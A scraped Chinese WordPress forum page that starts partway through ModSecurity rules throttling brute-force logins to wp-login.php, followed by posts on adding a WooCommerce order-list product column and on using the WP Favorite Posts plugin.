# Setup Tracking. On a successful login, a 302 redirect is performed, a 200 indicates login failed.
SecRule RESPONSE_STATUS "^302" "phase:5,t:none,nolog,pass,setvar:ip.bf_counter=0,id:5000136"
SecRule RESPONSE_STATUS "^200" "phase:5,chain,t:none,nolog,pass,setvar:ip.bf_counter=+1,deprecatevar:ip.bf_counter=1/180,id:5000137"
SecRule ip:bf_counter "@gt 10" "t:none,setvar:user.bf_block=1,expirevar:user.bf_block=300,setvar:ip.bf_counter=0"
</locationmatch>
ErrorDocument 401 default
点击保存。
至此,您会发现,进程里边所有wp-login.php的进程都消失了,服务器负载也急速下降,问题fix了。

在Woocommerce后台订单列表页面添加购买产品的详细信息

Bob 发表了文章 • 1 个评论 • 1490 次浏览 • 2018-11-29 17:13 • 来自相关话题

现在越来越多的用户开始使用woocommerce来搭建自己的电商网站,woocommerce插件的后台界面已经非常详细的列出了相关信息,但是如果想在订单列表页面添加用户所购买产品的详细信息,需要在主题跟目录下面的functions.php文件里面添加一下代码:
add_filter( 'manage_edit-shop_order_columns', 'show_product_order',15 );
function show_product_order($columns){

//添加一列信息
$columns['product-display'] = __( 'Central Pedder Building Gallery Tour');
return $columns;
}然后在当前这段代码的下面在添加一段代码:
add_action( 'manage_shop_order_posts_custom_column' , 'snv_custom_shop_order_column', 10, 2 );
function snv_custom_shop_order_column( $column ) {
global $post, $woocommerce, $the_order;

switch ( $column ) {
case 'product-display' :
$terms = $the_order->get_items();

if ( is_array( $terms ) ) {
foreach($terms as $term)
{
echo $term['item_meta']['_qty'][0] .' ' . $term['name'] .'';
}
} else {
_e( 'Error!', 'woocommerce' );
}
break;

}
}后台显示的效果如下图所示:




  查看全部
现在越来越多的用户开始使用woocommerce来搭建自己的电商网站,woocommerce插件的后台界面已经非常详细的列出了相关信息,但是如果想在订单列表页面添加用户所购买产品的详细信息,需要在主题跟目录下面的functions.php文件里面添加一下代码:
add_filter( 'manage_edit-shop_order_columns', 'show_product_order',15 );
function show_product_order($columns){

//添加一列信息
$columns['product-display'] = __( 'Central Pedder Building Gallery Tour');
return $columns;
}
然后在当前这段代码的下面在添加一段代码:
add_action( 'manage_shop_order_posts_custom_column' , 'snv_custom_shop_order_column', 10, 2 );
function snv_custom_shop_order_column( $column ) {
global $post, $woocommerce, $the_order;

switch ( $column ) {
case 'product-display' :
$terms = $the_order->get_items();

if ( is_array( $terms ) ) {
foreach($terms as $term)
{
echo $term['item_meta']['_qty'][0] .' ' . $term['name'] .'';
}
} else {
_e( 'Error!', 'woocommerce' );
}
break;

}
}
后台显示的效果如下图所示:
QQ图片20181129171311.png

 

WP Favorite Posts 的使用方法(可用于收藏文章、产品)

Leo 发表了文章 • 1 个评论 • 670 次浏览 • 2018-11-28 10:10 • 来自相关话题

首先 WP Favorite Posts安装这个插件,




配置插件,最重要的是 Don't load js file这个选项要勾选,这样当你收藏这个产品的时候页面会自动刷新,列表就会更新。我之前试过不勾选这个选项,结果是我收藏了产品,但是列表没有更新(需要我手动去刷新页面)。
                <div class="favorite">
                    <?php wpfp_link() ?> //这是调用收藏按钮
                    <?php dynamic_sidebar( 'sidebar-4' ); ?> //这是这个插件在小工具widgets中提供的收藏列表功能,我这个小工具的id为sidebar-4
                </div>
 





 
具体效果如下图所示:










  查看全部
首先 WP Favorite Posts安装这个插件,
3.png

配置插件,最重要的是 Don't load js file这个选项要勾选,这样当你收藏这个产品的时候页面会自动刷新,列表就会更新。我之前试过不勾选这个选项,结果是我收藏了产品,但是列表没有更新(需要我手动去刷新页面)。
                <div class="favorite">
                    <?php wpfp_link() ?> //这是调用收藏按钮
                    <?php dynamic_sidebar( 'sidebar-4' ); ?> //这是这个插件在小工具widgets中提供的收藏列表功能,我这个小工具的id为sidebar-4
                </div>
 

4.png

 
具体效果如下图所示:

1.png


2.png